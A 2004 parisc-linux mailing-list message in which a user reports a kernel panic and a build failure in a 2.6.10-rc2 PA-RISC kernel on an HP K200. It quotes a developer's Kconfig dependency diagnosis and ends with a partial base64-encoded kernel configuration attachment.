r24-27  ffffffff 00000006 27e7e000 10487010
r28-31  0000000e 105c2810 10ac4500 00000040
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1031c2b8 1031c2bc
 IIR: 68e50228    ISR: 00000000  IOR: 00000114
 CPU:        1   CR30: 10ac4000 CR31: f004f000
 ORIG_R28: 105bab7c
 IAOQ[0]: ncr_int_sir+0x414/0x80c
 IAOQ[1]: ncr_int_sir+0x418/0x80c
 RP(r2): ncr_int_sir+0x40c/0x80c
Kernel panic - not syncing: Kernel Fault

Thanks
Richard Ray


On Sat, 4 Dec 2004, Grant Grundler wrote:

> On Fri, Dec 03, 2004 at 03:55:54PM -0600, rray@tcmail.mstc.state.ms.us wrote:
> > I got cvs.parisc-linux.org/download/linux-2.6/linux-2.6.10-rc2-pa2.tar.bz2
> > and attempted to compile it with standard options set.
>
> Sorry - I need a better definition of "standard" options.
> Can you point at a specific .config file?
> Perhaps one of those used by the autobuilder?
>
> (See http://cvs.parisc-linux.org/download/linux-2.6/)
>
> > It fails with
> >
> > drivers/built-in.o: In function `sti_select_fbfont':
> > drivers/built-in.o(.init.text+0x2eb4): undefined reference to `find_font'
> > drivers/built-in.o(.init.text+0x2fd4): undefined reference to `get_default_font'
> > make: *** [.tmp_vmlinux1] Error 1
> >
> > I'm building this on a K200.
> > Any suggestions?
>
> I suspect a dependency is missing in the Kconfig file.
> Can you enable CONFIG_VT and see if that fixes the problem?
>
> See drivers/video/Makefile - it only builds drivers/video/console/fonts.c
> if CONFIG_VT is enabled. Ergo CONFIG_FB_STI depends on CONFIG_VT
> but that's not encoded in drivers/video/Kconfig:
> config FB_STI
>         tristate "HP STI frame buffer device support"
>         depends on FB && PARISC
>         default y
> ...
>
> Hrm...Looking at drivers/video/console/Kconfig it seems
> enabling CONFIG_FRAMEBUFFER_CONSOLE is also required.
> Please verify that is also enabled.
>
> hth,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
--8323328-742400216-1102345339=:21506
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=hp-debian-1_config
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0412060902190.21506@rray.drdc.mstc.ms.gov>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME=hp-debian-1_config

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBtYWtlIGNvbmZpZzogZG9u
J3QgZWRpdA0KIyBMaW51eCBrZXJuZWwgdmVyc2lvbjogMi42LjEwLXJjMi1w
YTINCiMgU3VuIERlYyAgNSAxNTo1ODozOCAyMDA0DQojDQpDT05GSUdfUEFS
SVNDPXkNCkNPTkZJR19NTVU9eQ0KQ09ORklHX1NUQUNLX0dST1dTVVA9eQ0K
Q09ORklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQ0KDQojDQojIENvZGUg
bWF0dXJpdHkgbGV2ZWwgb3B0aW9ucw0KIw0KQ09ORklHX0VYUEVSSU1FTlRB
TD15DQpDT05GSUdfQ0xFQU5fQ09NUElMRT15DQpDT05GSUdfTE9DS19LRVJO
RUw9eQ0KDQojDQojIEdlbmVyYWwgc2V0dXANCiMNCkNPTkZJR19MT0NBTFZF
UlNJT049IiINCkNPTkZJR19TV0FQPXkNCkNPTkZJR19TWVNWSVBDPXkNCiMg
Q09ORklHX1BPU0lYX01RVUVVRSBpcyBub3Qgc2V0DQojIENPTkZJR19CU0Rf
UFJPQ0VTU19BQ0NUIGlzIG5vdCBzZXQNCkNPTkZJR19TWVNDVEw9eQ0KIyBD
T05GSUdfQVVESVQgaXMgbm90IHNldA0KQ09ORklHX0xPR19CVUZfU0hJRlQ9
MTUNCkNPTkZJR19IT1RQTFVHPXkNCkNPTkZJR19LT0JKRUNUX1VFVkVOVD15
DQojIENPTkZJR19JS0NPTkZJRyBpcyBub3Qgc2V0DQojIENPTkZJR19FTUJF
RERFRCBpcyBub3Qgc2V0DQpDT05GSUdfS0FMTFNZTVM9eQ0KIyBDT05GSUdf
S0FMTFNZTVNfRVhUUkFfUEFTUyBpcyBub3Qgc2V0DQpDT05GSUdfRlVURVg9
eQ0KQ09ORklHX0VQT0xMPXkNCiMgQ09ORklHX0NDX09QVElNSVpFX0ZPUl9T
SVpFIGlzIG5vdCBzZXQNCkNPTkZJR19TSE1FTT15DQpDT05GSUdfQ0NfQUxJ
R05fRlVOQ1RJT05TPTANCkNPTkZJR19DQ19BTElHTl9MQUJFTFM9MA0KQ09O
RklHX0NDX0FMSUdOX0xPT1BTPTANCkNPTkZJR19DQ19BTElHTl9KVU1QUz0w
DQojIENPTkZJR19USU5ZX1NITUVNIGlzIG5vdCBzZXQNCg0KIw0KIyBMb2Fk
YWJsZSBtb2R1bGUgc3VwcG9ydA0KIw0KQ09ORklHX01PRFVMRVM9eQ0KIyBD
T05GSUdfTU9EVUxFX1VOTE9BRCBpcyBub3Qgc2V0DQpDT05GSUdfT0JTT0xF
VEVfTU9EUEFSTT15DQpDT05GSUdfTU9EVkVSU0lPTlM9eQ0KIyBDT05GSUdf
TU9EVUxFX1NSQ1ZFUlNJT05fQUxMIGlzIG5vdCBzZXQNCkNPTkZJR19LTU9E
PXkNCkNPTkZJR19TVE9QX01BQ0hJTkU9eQ0KDQojDQojIFByb2Nlc3NvciB0
eXBlIGFuZCBmZWF0dXJlcw0KIw0KQ09ORklHX1BBNzAwMD15DQojIENPTkZJ
R19QQTcxMDBMQyBpcyBub3Qgc2V0DQojIENPTkZJR19QQTcyMDAgaXMgbm90
IHNldA0KIyBDT05GSUdfUEE3MzAwTEMgaXMgbm90IHNldA0KIyBDT05GSUdf
UEE4WDAwIGlzIG5vdCBzZXQNCkNPTkZJR19QQTExPXkNCiMgQ09ORklHXzY0
QklUIGlzIG5vdCBzZXQNCkNPTkZJR19TTVA9eQ0KQ09ORklHX0hPVFBMVUdf
Q1BVPXkNCiMgQ09ORklHX0RJU0NPTlRJR01FTSBpcyBub3Qgc2V0DQojIENP
TkZJR19QUkVFTVBUIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hQVVggaXMgbm90
IHNldA0KQ09ORklHX05SX0NQVVM9MzINCg0KIw0KIyBCdXMgb3B0aW9ucyAo
UENJLCBQQ01DSUEsIEVJU0EsIEdTQywgSVNBKQ0KIw0KQ09ORklHX0dTQz15
DQojIENPTkZJR19IUFBCIGlzIG5vdCBzZXQNCkNPTkZJR19JT01NVV9DQ0lP
PXkNCkNPTkZJR19HU0NfTEFTST15DQpDT05GSUdfR1NDX1dBWD15DQpDT05G
SUdfRUlTQT15DQpDT05GSUdfRUlTQV9OQU1FUz15DQpDT05GSUdfSVNBPXkN
CkNPTkZJR19QQ0k9eQ0KIyBDT05GSUdfUENJX0xFR0FDWV9QUk9DIGlzIG5v
dCBzZXQNCkNPTkZJR19QQ0lfTkFNRVM9eQ0KQ09ORklHX0dTQ19ESU5PPXkN
CkNPTkZJR19QQ0lfTEJBPXkNCkNPTkZJR19JT1NBUElDPXkNCkNPTkZJR19J
T01NVV9TQkE9eQ0KQ09ORklHX1NVUEVSSU89eQ0KQ09ORklHX0NIQVNTSVNf
TENEX0xFRD15DQpDT05GSUdfUERDX0NIQVNTSVM9eQ0KDQojDQojIFBDQ0FS
RCAoUENNQ0lBL0NhcmRCdXMpIHN1cHBvcnQNCiMNCiMgQ09ORklHX1BDQ0FS
RCBpcyBub3Qgc2V0DQoNCiMNCiMgUEMtY2FyZCBicmlkZ2VzDQojDQoNCiMN
CiMgUENJIEhvdHBsdWcgU3VwcG9ydA0KIw0KIyBDT05GSUdfSE9UUExVR19Q
Q0kgaXMgbm90IHNldA0KDQojDQojIEV4ZWN1dGFibGUgZmlsZSBmb3JtYXRz
DQojDQpDT05GSUdfQklORk1UX0VMRj15DQojIENPTkZJR19CSU5GTVRfTUlT
QyBpcyBub3Qgc2V0DQoNCiMNCiMgRGV2aWNlIERyaXZlcnMNCiMNCg0KIw0K
IyBHZW5lcmljIERyaXZlciBPcHRpb25zDQojDQpDT05GSUdfU1RBTkRBTE9O
RT15DQpDT05GSUdfUFJFVkVOVF9GSVJNV0FSRV9CVUlMRD15DQojIENPTkZJ
R19GV19MT0FERVIgaXMgbm90IHNldA0KDQojDQojIE1lbW9yeSBUZWNobm9s
b2d5IERldmljZXMgKE1URCkNCiMNCiMgQ09ORklHX01URCBpcyBub3Qgc2V0
DQoNCiMNCiMgUGFyYWxsZWwgcG9ydCBzdXBwb3J0DQojDQpDT05GSUdfUEFS
UE9SVD15DQpDT05GSUdfUEFSUE9SVF9QQz15DQojIENPTkZJR19QQVJQT1JU
X1BDX0ZJRk8gaXMgbm90IHNldA0KIyBDT05GSUdfUEFSUE9SVF9QQ19TVVBF
UklPIGlzIG5vdCBzZXQNCkNPTkZJR19QQVJQT1JUX0dTQz15DQojIENPTkZJ
R19QQVJQT1JUX09USEVSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BBUlBPUlRf
MTI4NCBpcyBub3Qgc2V0DQoNCiMNCiMgUGx1ZyBhbmQgUGxheSBzdXBwb3J0
DQojDQojIENPTkZJR19QTlAgaXMgbm90IHNldA0KDQojDQojIEJsb2NrIGRl
dmljZXMNCiMNCiMgQ09ORklHX0JMS19ERVZfRkQgaXMgbm90IHNldA0KIyBD
T05GSUdfQkxLX0RFVl9YRCBpcyBub3Qgc2V0DQojIENPTkZJR19QQVJJREUg
aXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0NQUV9EQSBpcyBub3Qgc2V0DQoj
IENPTkZJR19CTEtfQ1BRX0NJU1NfREEgaXMgbm90IHNldA0KIyBDT05GSUdf
QkxLX0RFVl9EQUM5NjAgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9V
TUVNIGlzIG5vdCBzZXQNCkNPTkZJR19CTEtfREVWX0xPT1A9eQ0KIyBDT05G
SUdfQkxLX0RFVl9DUllQVE9MT09QIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JM
S19ERVZfTkJEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfU1g4IGlz
IG5vdCBzZXQNCkNPTkZJR19CTEtfREVWX1JBTT15DQpDT05GSUdfQkxLX0RF
Vl9SQU1fU0laRT02MTQ0DQpDT05GSUdfQkxLX0RFVl9JTklUUkQ9eQ0KQ09O
RklHX0lOSVRSQU1GU19TT1VSQ0U9IiINCiMgQ09ORklHX0NEUk9NX1BLVENE
VkQgaXMgbm90IHNldA0KDQojDQojIElPIFNjaGVkdWxlcnMNCiMNCkNPTkZJ
R19JT1NDSEVEX05PT1A9eQ0KQ09ORklHX0lPU0NIRURfQVM9eQ0KQ09ORklH
X0lPU0NIRURfREVBRExJTkU9eQ0KQ09ORklHX0lPU0NIRURfQ0ZRPXkNCg0K
Iw0KIyBBVEEvQVRBUEkvTUZNL1JMTCBzdXBwb3J0DQojDQpDT05GSUdfSURF
PXkNCkNPTkZJR19CTEtfREVWX0lERT15DQoNCiMNCiMgUGxlYXNlIHNlZSBE
b2N1bWVudGF0aW9uL2lkZS50eHQgZm9yIGhlbHAvaW5mbyBvbiBJREUgZHJp
dmVzDQojDQojIENPTkZJR19CTEtfREVWX0lERV9TQVRBIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JMS19ERVZfSURFRElTSyBpcyBub3Qgc2V0DQpDT05GSUdf
QkxLX0RFVl9JREVDRD15DQojIENPTkZJR19CTEtfREVWX0lERVRBUEUgaXMg
bm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9JREVGTE9QUFkgaXMgbm90IHNl
dA0KIyBDT05GSUdfQkxLX0RFVl9JREVTQ1NJIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0lERV9UQVNLX0lPQ1RMIGlzIG5vdCBzZXQNCg0KIw0KIyBJREUgY2hp
cHNldCBzdXBwb3J0L2J1Z2ZpeGVzDQojDQpDT05GSUdfSURFX0dFTkVSSUM9
eQ0KQ09ORklHX0JMS19ERVZfSURFUENJPXkNCiMgQ09ORklHX0lERVBDSV9T
SEFSRV9JUlEgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9PRkZCT0FS
RCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0dFTkVSSUMgaXMgbm90
IHNldA0KIyBDT05GSUdfQkxLX0RFVl9PUFRJNjIxIGlzIG5vdCBzZXQNCkNP
TkZJR19CTEtfREVWX0lERURNQV9QQ0k9eQ0KIyBDT05GSUdfQkxLX0RFVl9J
REVETUFfRk9SQ0VEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lERURNQV9QQ0lf
QVVUTyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0FFQzYyWFggaXMg
bm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9BTEkxNVgzIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JMS19ERVZfQU1ENzRYWCBpcyBub3Qgc2V0DQojIENPTkZJ
R19CTEtfREVWX0NNRDY0WCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVW
X1RSSUZMRVggaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9DWTgyQzY5
MyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0NTNTUyMCBpcyBub3Qg
c2V0DQojIENPTkZJR19CTEtfREVWX0NTNTUzMCBpcyBub3Qgc2V0DQojIENP
TkZJR19CTEtfREVWX0hQVDM0WCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtf
REVWX0hQVDM2NiBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1NDMTIw
MCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1BJSVggaXMgbm90IHNl
dA0KQ09ORklHX0JMS19ERVZfTlM4NzQxNT15DQojIENPTkZJR19CTEtfREVW
X1BEQzIwMlhYX09MRCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1BE
QzIwMlhYX05FVyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1NWV0tT
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfU0lJTUFHRSBpcyBub3Qg
c2V0DQojIENPTkZJR19CTEtfREVWX1NMQzkwRTY2IGlzIG5vdCBzZXQNCiMg
Q09ORklHX0JMS19ERVZfVFJNMjkwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JM
S19ERVZfVklBODJDWFhYIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lERV9BUk0g
aXMgbm90IHNldA0KIyBDT05GSUdfSURFX0NISVBTRVRTIGlzIG5vdCBzZXQN
CkNPTkZJR19CTEtfREVWX0lERURNQT15DQojIENPTkZJR19JREVETUFfSVZC
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0lERURNQV9BVVRPIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JMS19ERVZfSEQgaXMgbm90IHNldA0KDQojDQojIFNDU0kg
ZGV2aWNlIHN1cHBvcnQNCiMNCkNPTkZJR19TQ1NJPXkNCkNPTkZJR19TQ1NJ
X1BST0NfRlM9eQ0KDQojDQojIFNDU0kgc3VwcG9ydCB0eXBlIChkaXNrLCB0
YXBlLCBDRC1ST00pDQojDQpDT05GSUdfQkxLX0RFVl9TRD15DQpDT05GSUdf
Q0hSX0RFVl9TVD15DQojIENPTkZJR19DSFJfREVWX09TU1QgaXMgbm90IHNl
dA0KQ09ORklHX0JMS19ERVZfU1I9eQ0KIyBDT05GSUdfQkxLX0RFVl9TUl9W
RU5ET1IgaXMgbm90IHNldA0KQ09ORklHX0NIUl9ERVZfU0c9eQ0KDQojDQoj
IFNvbWUgU0NTSSBkZXZpY2VzIChlLmcuIENEIGp1a2Vib3gpIHN1cHBvcnQg
bXVsdGlwbGUgTFVOcw0KIw0KQ09ORklHX1NDU0lfTVVMVElfTFVOPXkNCkNP
TkZJR19TQ1NJX0NPTlNUQU5UUz15DQpDT05GSUdfU0NTSV9MT0dHSU5HPXkN
Cg0KIw0KIyBTQ1NJIFRyYW5zcG9ydCBBdHRyaWJ1dGVzDQojDQpDT05GSUdf
U0NTSV9TUElfQVRUUlM9eQ0KIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBpcyBu
b3Qgc2V0DQoNCiMNCiMgU0NTSSBsb3ctbGV2ZWwgZHJpdmVycw0KIw0KQ09O
RklHX0JMS19ERVZfM1dfWFhYWF9SQUlEPXkNCiMgQ09ORklHX1NDU0lfM1df
OVhYWCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJXzcwMDBGQVNTVCBpcyBu
b3Qgc2V0DQpDT05GSUdfU0NTSV9BQ0FSRD15DQojIENPTkZJR19TQ1NJX0FI
QTE1MlggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSEExNTQyIGlzIG5v
dCBzZXQNCkNPTkZJR19TQ1NJX0FIQTE3NDA9eQ0KIyBDT05GSUdfU0NTSV9B
QUNSQUlEIGlzIG5vdCBzZXQNCkNPTkZJR19TQ1NJX0FJQzdYWFg9eQ0KQ09O
RklHX0FJQzdYWFhfQ01EU19QRVJfREVWSUNFPTgNCkNPTkZJR19BSUM3WFhY
X1JFU0VUX0RFTEFZX01TPTE1MDAwDQojIENPTkZJR19BSUM3WFhYX1BST0JF
X0VJU0FfVkwgaXMgbm90IHNldA0KQ09ORklHX0FJQzdYWFhfREVCVUdfRU5B
QkxFPXkNCkNPTkZJR19BSUM3WFhYX0RFQlVHX01BU0s9MA0KQ09ORklHX0FJ
QzdYWFhfUkVHX1BSRVRUWV9QUklOVD15DQojIENPTkZJR19TQ1NJX0FJQzdY
WFhfT0xEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQUlDNzlYWCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX0RQVF9JMk8gaXMgbm90IHNldA0KIyBD
T05GSUdfU0NTSV9JTjIwMDAgaXMgbm90IHNldA0KIyBDT05GSUdfTUVHQVJB
SURfTkVXR0VOIGlzIG5vdCBzZXQNCiMgQ09ORklHX01FR0FSQUlEX0xFR0FD
WSBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1NBVEEgaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9CVVNMT0dJQyBpcyBub3Qgc2V0DQpDT05GSUdfU0NT
SV9ETVgzMTkxRD15DQojIENPTkZJR19TQ1NJX0RUQzMyODAgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9FQVRBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ND
U0lfRUFUQV9QSU8gaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9GVVRVUkVf
RE9NQUlOIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfR0RUSCBpcyBub3Qg
c2V0DQpDT05GSUdfU0NTSV9HRU5FUklDX05DUjUzODA9eQ0KQ09ORklHX1ND
U0lfR0VORVJJQ19OQ1I1MzgwX01NSU89eQ0KQ09ORklHX1NDU0lfR0VORVJJ
Q19OQ1I1M0M0MDA9eQ0KIyBDT05GSUdfU0NTSV9JUFMgaXMgbm90IHNldA0K
Q09ORklHX1NDU0lfSU5JVElPPXkNCkNPTkZJR19TQ1NJX0lOSUExMDA9eQ0K
IyBDT05GSUdfU0NTSV9QUEEgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9J
TU0gaXMgbm90IHNldA0KQ09ORklHX1NDU0lfTkNSNTNDNDA2QT15DQpDT05G
SUdfU0NTSV9MQVNJNzAwPXkNCkNPTkZJR181M0M3MDBfTUVNX01BUFBFRD15
DQpDT05GSUdfNTNDNzAwX0xFX09OX0JFPXkNCkNPTkZJR19TQ1NJX1NZTTUz
QzhYWF8yPXkNCkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9ETUFfQUREUkVTU0lO
R19NT0RFPTENCkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9ERUZBVUxUX1RBR1M9
MTYNCkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9NQVhfVEFHUz02NA0KIyBDT05G
SUdfU0NTSV9TWU01M0M4WFhfSU9NQVBQRUQgaXMgbm90IHNldA0KIyBDT05G
SUdfU0NTSV9JUFIgaXMgbm90IHNldA0KQ09ORklHX1NDU0lfWkFMT049eQ0K
Q09ORklHX1NDU0lfTkNSNTNDOFhYX0RFRkFVTFRfVEFHUz04DQpDT05GSUdf
U0NTSV9OQ1I1M0M4WFhfTUFYX1RBR1M9MzINCkNPTkZJR19TQ1NJX05DUjUz
QzhYWF9TWU5DPTIwDQojIENPTkZJR19TQ1NJX05DUjUzQzhYWF9QUk9GSUxF
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUEFTMTYgaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9QU0kyNDBJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ND
U0lfUUxPR0lDX0ZBUyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1FMT0dJ
Q19JU1AgaXMgbm90IHNldA0KQ09ORklHX1NDU0lfUUxPR0lDX0ZDPXkNCiMg
Q09ORklHX1NDU0lfUUxPR0lDX0ZDX0ZJUk1XQVJFIGlzIG5vdCBzZXQNCkNP
TkZJR19TQ1NJX1FMT0dJQ18xMjgwPXkNCiMgQ09ORklHX1NDU0lfUUxPR0lD
XzEyODBfMTA0MCBpcyBub3Qgc2V0DQpDT05GSUdfU0NTSV9RTEEyWFhYPXkN
CiMgQ09ORklHX1NDU0lfUUxBMjFYWCBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX1FMQTIyWFggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9RTEEyMzAw
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUUxBMjMyMiBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX1FMQTYzMTIgaXMgbm90IHNldA0KIyBDT05GSUdf
U0NTSV9RTEE2MzIyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU0lNNzEw
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU1lNNTNDNDE2IGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfREMzOTV4IGlzIG5vdCBzZXQNCkNPTkZJR19T
Q1NJX0RDMzkwVD15DQojIENPTkZJR19TQ1NJX1QxMjggaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9VMTRfMzRGIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ND
U0lfTlNQMzIgaXMgbm90IHNldA0KQ09ORklHX1NDU0lfREVCVUc9eQ0KDQoj
DQojIE9sZCBDRC1ST00gZHJpdmVycyAobm90IFNDU0ksIG5vdCBJREUpDQoj
DQojIENPTkZJR19DRF9OT19JREVTQ1NJIGlzIG5vdCBzZXQNCg0KIw0KIyBN
dWx0aS1kZXZpY2Ugc3VwcG9ydCAoUkFJRCBhbmQgTFZNKQ0KIw0KQ09ORklH
X01EPXkNCkNPTkZJR19CTEtfREVWX01EPXkNCkNPTkZJR19NRF9MSU5FQVI9
eQ0KQ09ORklHX01EX1JBSUQwPXkNCkNPTkZJR19NRF9SQUlEMT15DQojIENP
TkZJR19NRF9SQUlEMTAgaXMgbm90IHNldA0KQ09ORklHX01EX1JBSUQ1PXkN
CiMgQ09ORklHX01EX1JBSUQ2IGlzIG5vdCBzZXQNCiMgQ09ORklHX01EX01V
TFRJUEFUSCBpcyBub3Qgc2V0DQojIENPTkZJR19NRF9GQVVMVFkgaXMgbm90
IHNldA0KIyBDT05GSUdfQkxLX0RFVl9ETSBpcyBub3Qgc2V0DQoNCiMNCiMg
RnVzaW9uIE1QVCBkZXZpY2Ugc3VwcG9ydA0KIw0KIyBDT05GSUdfRlVTSU9O
IGlzIG5vdCBzZXQNCg0KIw0KIyBJRUVFIDEzOTQgKEZpcmVXaXJlKSBzdXBw
b3J0DQojDQojIENPTkZJR19JRUVFMTM5NCBpcyBub3Qgc2V0DQoNCiMNCiMg
STJPIGRldmljZSBzdXBwb3J0DQojDQojIENPTkZJR19JMk8gaXMgbm90IHNl
dA0KDQojDQojIE5ldHdvcmtpbmcgc3VwcG9ydA0KIw0KQ09ORklHX05FVD15
DQoNCiMNCiMgTmV0d29ya2luZyBvcHRpb25zDQojDQpDT05GSUdfUEFDS0VU
PXkNCkNPTkZJR19QQUNLRVRfTU1BUD15DQpDT05GSUdfTkVUTElOS19ERVY9
eQ0KQ09ORklHX1VOSVg9eQ0KIyBDT05GSUdfTkVUX0tFWSBpcyBub3Qgc2V0
DQpDT05GSUdfSU5FVD15DQpDT05GSUdfSVBfTVVMVElDQVNUPXkNCiMgQ09O
RklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBpcyBub3Qgc2V0DQpDT05GSUdfSVBf
UE5QPXkNCiMgQ09ORklHX0lQX1BOUF9ESENQIGlzIG5vdCBzZXQNCkNPTkZJ
R19JUF9QTlBfQk9PVFA9eQ0KIyBDT05GSUdfSVBfUE5QX1JBUlAgaXMgbm90
IHNldA0KIyBDT05GSUdfTkVUX0lQSVAgaXMgbm90IHNldA0KIyBDT05GSUdf
TkVUX0lQR1JFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQX01ST1VURSBpcyBu
b3Qgc2V0DQojIENPTkZJR19BUlBEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NZ
Tl9DT09LSUVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lORVRfQUggaXMgbm90
IHNldA0KIyBDT05GSUdfSU5FVF9FU1AgaXMgbm90IHNldA0KIyBDT05GSUdf
SU5FVF9JUENPTVAgaXMgbm90IHNldA0KIyBDT05GSUdfSU5FVF9UVU5ORUwg
aXMgbm90IHNldA0KQ09ORklHX0lQX1RDUERJQUc9eQ0KIyBDT05GSUdfSVBf
VENQRElBR19JUFY2IGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQVjYgaXMgbm90
IHNldA0KIyBDT05GSUdfTkVURklMVEVSIGlzIG5vdCBzZXQNCg0KIw0KIyBT
Q1RQIENvbmZpZ3VyYXRpb24gKEVYUEVSSU1FTlRBTCkNCiMNCiMgQ09ORklH
X0lQX1NDVFAgaXMgbm90IHNldA0KIyBDT05GSUdfQVRNIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JSSURHRSBpcyBub3Qgc2V0DQojIENPTkZJR19WTEFOXzgw
MjFRIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0DQoj
IENPTkZJR19MTEMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQWCBpcyBub3Qg
c2V0DQojIENPTkZJR19BVEFMSyBpcyBub3Qgc2V0DQojIENPTkZJR19YMjUg
aXMgbm90IHNldA0KIyBDT05GSUdfTEFQQiBpcyBub3Qgc2V0DQojIENPTkZJ
R19ORVRfRElWRVJUIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VDT05FVCBpcyBu
b3Qgc2V0DQojIENPTkZJR19XQU5fUk9VVEVSIGlzIG5vdCBzZXQNCg0KIw0K
IyBRb1MgYW5kL29yIGZhaXIgcXVldWVpbmcNCiMNCiMgQ09ORklHX05FVF9T
Q0hFRCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfQ0xTX1JPVVRFIGlzIG5v
dCBzZXQNCg0KIw0KIyBOZXR3b3JrIHRlc3RpbmcNCiMNCiMgQ09ORklHX05F
VF9QS1RHRU4gaXMgbm90IHNldA0KIyBDT05GSUdfTkVUUE9MTCBpcyBub3Qg
c2V0DQojIENPTkZJR19ORVRfUE9MTF9DT05UUk9MTEVSIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0hBTVJBRElPIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lSREEg
aXMgbm90IHNldA0KIyBDT05GSUdfQlQgaXMgbm90IHNldA0KQ09ORklHX05F
VERFVklDRVM9eQ0KQ09ORklHX0RVTU1ZPW0NCkNPTkZJR19CT05ESU5HPW0N
CiMgQ09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0DQpDT05GSUdfVFVOPW0N
CiMgQ09ORklHX0VUSEVSVEFQIGlzIG5vdCBzZXQNCg0KIw0KIyBBUkNuZXQg
ZGV2aWNlcw0KIw0KIyBDT05GSUdfQVJDTkVUIGlzIG5vdCBzZXQNCg0KIw0K
IyBFdGhlcm5ldCAoMTAgb3IgMTAwTWJpdCkNCiMNCkNPTkZJR19ORVRfRVRI
RVJORVQ9eQ0KQ09ORklHX01JST15DQpDT05GSUdfTEFTSV84MjU5Nj15DQpD
T05GSUdfSEFQUFlNRUFMPXkNCiMgQ09ORklHX1NVTkdFTSBpcyBub3Qgc2V0
DQojIENPTkZJR19ORVRfVkVORE9SXzNDT00gaXMgbm90IHNldA0KIyBDT05G
SUdfTEFOQ0UgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUX1ZFTkRPUl9TTUMg
aXMgbm90IHNldA0KQ09ORklHX05FVF9WRU5ET1JfUkFDQUw9eQ0KIyBDT05G
SUdfTkk1MiBpcyBub3Qgc2V0DQojIENPTkZJR19OSTY1IGlzIG5vdCBzZXQN
Cg0KIw0KIyBUdWxpcCBmYW1pbHkgbmV0d29yayBkZXZpY2Ugc3VwcG9ydA0K
Iw0KIyBDT05GSUdfTkVUX1RVTElQIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FU
MTcwMCBpcyBub3Qgc2V0DQojIENPTkZJR19ERVBDQSBpcyBub3Qgc2V0DQpD
T05GSUdfSFAxMDA9eQ0KIyBDT05GSUdfTkVUX0lTQSBpcyBub3Qgc2V0DQoj
